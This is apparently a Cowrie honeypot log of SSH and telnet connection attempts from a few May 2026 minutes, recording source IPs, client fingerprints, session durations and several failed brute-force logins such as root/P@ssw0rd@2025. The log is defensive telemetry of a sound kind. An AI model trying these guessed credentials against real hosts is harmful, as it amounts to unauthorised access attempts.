{"eventid":"cowrie.session.connect","src_ip":"125.31.2.160","src_port":35724,"dst_ip":"10.17.0.5","dst_port":22,"session":"1348df7ce062","protocol":"ssh","message":"New connection: 125.31.2.160:35724 (10.17.0.5:22) [session: 1348df7ce062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:35.017361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:35.022944Z","src_ip":"125.31.2.160","session":"1348df7ce062","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":43574,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdd0c0719748","protocol":"telnet","message":"New connection: 172.233.212.110:43574 (10.17.0.5:23) [session: cdd0c0719748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:35.241590Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:35.246639Z","src_ip":"125.31.2.160","session":"1348df7ce062","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":53848,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc1971b0855c","protocol":"telnet","message":"New connection: 209.126.87.217:53848 (159.203.135.109:23) [session: fc1971b0855c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:35.771869Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd@2025","message":"login attempt [root/P@ssw0rd@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:36.147288Z","src_ip":"125.31.2.160","session":"1348df7ce062","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:37.368023Z","src_ip":"125.31.2.160","session":"1348df7ce062","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.1174852848053,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:40.206024Z","src_ip":"172.233.212.110","session":"3cf14c31265f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":43588,"dst_ip":"10.17.0.5","dst_port":23,"session":"27d79c77726e","protocol":"telnet","message":"New connection: 172.233.212.110:43588 (10.17.0.5:23) [session: 27d79c77726e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:40.697553Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":51120,"dst_ip":"10.17.0.5","dst_port":23,"session":"44694bc17a7a","protocol":"telnet","message":"New connection: 172.233.212.110:51120 (10.17.0.5:23) [session: 44694bc17a7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:42.836456Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":51128,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab0dc706bcd6","protocol":"telnet","message":"New connection: 172.233.212.110:51128 (10.17.0.5:23) [session: ab0dc706bcd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:44.357940Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":51142,"dst_ip":"10.17.0.5","dst_port":23,"session":"f69d3c949be4","protocol":"telnet","message":"New connection: 172.233.212.110:51142 (10.17.0.5:23) [session: f69d3c949be4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:45.774212Z"}
{"eventid":"cowrie.session.closed","duration":33.420350790023804,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:47.737850Z","src_ip":"172.233.212.110","session":"c6cb85dfa1bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":33548,"dst_ip":"10.17.0.5","dst_port":23,"session":"81cf6f645d3f","protocol":"telnet","message":"New connection: 139.162.207.207:33548 (10.17.0.5:23) [session: 81cf6f645d3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:48.263315Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":53382,"dst_ip":"10.17.0.5","dst_port":23,"session":"550afc527a42","protocol":"telnet","message":"New connection: 172.233.212.110:53382 (10.17.0.5:23) [session: 550afc527a42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:52.796935Z"}
{"eventid":"cowrie.session.closed","duration":31.976402282714844,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:54.183573Z","src_ip":"172.233.212.110","session":"e425d1b31968","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":53384,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cc57dc31a60","protocol":"telnet","message":"New connection: 172.233.212.110:53384 (10.17.0.5:23) [session: 7cc57dc31a60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:54.487293Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":41412,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fbde01430d2","protocol":"telnet","message":"New connection: 139.162.207.207:41412 (10.17.0.5:23) [session: 3fbde01430d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:54.563493Z"}
{"eventid":"cowrie.session.closed","duration":31.67738437652588,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:54.708127Z","src_ip":"172.233.212.110","session":"adc7836b68da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.864511966705322,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:55.394286Z","src_ip":"172.233.212.110","session":"e316a7258aa1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":52396,"dst_ip":"159.203.135.109","dst_port":23,"session":"421113eced70","protocol":"telnet","message":"New connection: 209.126.87.217:52396 (159.203.135.109:23) [session: 421113eced70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:56.885688Z"}
{"eventid":"cowrie.session.closed","duration":31.201321125030518,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:57.394581Z","src_ip":"209.126.87.217","session":"6c34e092d485","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.73666596412659,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:58.842782Z","src_ip":"139.162.207.207","session":"ed7fbcc08e6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":52404,"dst_ip":"159.203.135.109","dst_port":23,"session":"feb77756adb3","protocol":"telnet","message":"New connection: 209.126.87.217:52404 (159.203.135.109:23) [session: feb77756adb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:59.459106Z"}
{"eventid":"cowrie.session.closed","duration":30.3769052028656,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:00.334929Z","src_ip":"172.233.212.110","session":"b6dc1b2610f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.36550521850586,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:01.758471Z","src_ip":"172.233.212.110","session":"bfa2e151bd46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.200348138809204,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:02.085334Z","src_ip":"139.162.207.207","session":"16474f09a3fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":41424,"dst_ip":"10.17.0.5","dst_port":23,"session":"db8a1c1abeb3","protocol":"telnet","message":"New connection: 139.162.207.207:41424 (10.17.0.5:23) [session: db8a1c1abeb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:03.345690Z"}
{"eventid":"cowrie.session.closed","duration":30.94177484512329,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:06.183266Z","src_ip":"172.233.212.110","session":"cdd0c0719748","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.127692937850952,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:06.899440Z","src_ip":"209.126.87.217","session":"fc1971b0855c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.543022871017456,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:06.996701Z","src_ip":"139.162.207.207","session":"efc17df9088a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":54836,"dst_ip":"10.17.0.5","dst_port":23,"session":"e363dac1af41","protocol":"telnet","message":"New connection: 172.233.212.110:54836 (10.17.0.5:23) [session: e363dac1af41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:07.272553Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":35032,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b9109f8b707","protocol":"telnet","message":"New connection: 209.126.87.217:35032 (159.203.135.109:23) [session: 9b9109f8b707]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:07.287246Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":35036,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6b8a3e24911","protocol":"telnet","message":"New connection: 209.126.87.217:35036 (159.203.135.109:23) [session: e6b8a3e24911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:07.407629Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":54844,"dst_ip":"10.17.0.5","dst_port":23,"session":"de869ad5a921","protocol":"telnet","message":"New connection: 172.233.212.110:54844 (10.17.0.5:23) [session: de869ad5a921]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:10.951760Z"}
{"eventid":"cowrie.session.connect","src_ip":"58.126.160.2","src_port":55516,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1d77efc1f00","protocol":"ssh","message":"New connection: 58.126.160.2:55516 (159.203.135.109:22) [session: f1d77efc1f00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:11.902766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:12.730139Z","src_ip":"58.126.160.2","session":"f1d77efc1f00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:12.735084Z","src_ip":"58.126.160.2","session":"f1d77efc1f00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48830,"dst_ip":"159.203.135.109","dst_port":22,"session":"2faee5feea91","protocol":"ssh","message":"New connection: 159.203.92.129:48830 (159.203.135.109:22) [session: 2faee5feea91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:12.751105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:12.755426Z","src_ip":"159.203.92.129","session":"2faee5feea91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:12.759724Z","src_ip":"159.203.92.129","session":"2faee5feea91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"abcd-1234","message":"login attempt [ansible/abcd-1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:12.769594Z","src_ip":"159.203.92.129","session":"2faee5feea91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":33816,"dst_ip":"10.17.0.5","dst_port":23,"session":"de6a029efe4e","protocol":"telnet","message":"New connection: 172.233.212.110:33816 (10.17.0.5:23) [session: de6a029efe4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:13.254093Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@1234567","message":"login attempt [root/Root@1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:13.494209Z","src_ip":"58.126.160.2","session":"f1d77efc1f00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00157713890076,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:13.528766Z","src_ip":"42.114.201.41","session":"907ec31a8210","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:13.776046Z","src_ip":"159.203.92.129","session":"2faee5feea91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.08845615386963,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:13.924809Z","src_ip":"172.233.212.110","session":"44694bc17a7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.33458423614502,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:14.032012Z","src_ip":"172.233.212.110","session":"27d79c77726e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:14.690019Z","src_ip":"58.126.160.2","session":"f1d77efc1f00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":17503,"dst_ip":"159.203.135.109","dst_port":23,"session":"c85c02489274","protocol":"telnet","message":"New connection: 42.114.201.41:17503 (159.203.135.109:23) [session: c85c02489274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:14.859465Z"}
{"eventid":"cowrie.session.closed","duration":31.395797967910767,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:15.753622Z","src_ip":"172.233.212.110","session":"ab0dc706bcd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":42596,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9f120334bd3","protocol":"telnet","message":"New connection: 139.162.207.207:42596 (10.17.0.5:23) [session: a9f120334bd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:16.106976Z"}
{"eventid":"cowrie.session.closed","duration":120.00385594367981,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:16.325835Z","src_ip":"42.114.201.41","session":"6bc5ebc2dd24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":33824,"dst_ip":"10.17.0.5","dst_port":23,"session":"064aa431a7bc","protocol":"telnet","message":"New connection: 172.233.212.110:33824 (10.17.0.5:23) [session: 064aa431a7bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:16.643090Z"}
{"eventid":"cowrie.session.closed","duration":31.775652170181274,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:17.549714Z","src_ip":"172.233.212.110","session":"f69d3c949be4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00136947631836,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:17.801420Z","src_ip":"42.114.201.41","session":"130284db894f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00138020515442,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:17.808921Z","src_ip":"42.114.201.41","session":"1ec696036bc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":33838,"dst_ip":"10.17.0.5","dst_port":23,"session":"9caed36ae841","protocol":"telnet","message":"New connection: 172.233.212.110:33838 (10.17.0.5:23) [session: 9caed36ae841]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:19.978764Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":33842,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1ca99050107","protocol":"telnet","message":"New connection: 172.233.212.110:33842 (10.17.0.5:23) [session: d1ca99050107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:21.791845Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":33850,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdb03553d05d","protocol":"telnet","message":"New connection: 172.233.212.110:33850 (10.17.0.5:23) [session: bdb03553d05d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:22.020588Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":33644,"dst_ip":"10.17.0.5","dst_port":23,"session":"67a406a33141","protocol":"telnet","message":"New connection: 172.233.212.110:33644 (10.17.0.5:23) [session: 67a406a33141]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:22.960306Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":33660,"dst_ip":"10.17.0.5","dst_port":23,"session":"ced4d2018819","protocol":"telnet","message":"New connection: 172.233.212.110:33660 (10.17.0.5:23) [session: ced4d2018819]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:23.365561Z"}
{"eventid":"cowrie.session.closed","duration":31.01587963104248,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:23.812702Z","src_ip":"172.233.212.110","session":"550afc527a42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":33662,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7d066a8c816","protocol":"telnet","message":"New connection: 172.233.212.110:33662 (10.17.0.5:23) [session: a7d066a8c816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:23.887304Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.130","src_port":57840,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b6e5f2e3cc5","protocol":"ssh","message":"New connection: 37.143.61.130:57840 (159.203.135.109:22) [session: 2b6e5f2e3cc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:26.577547Z"}
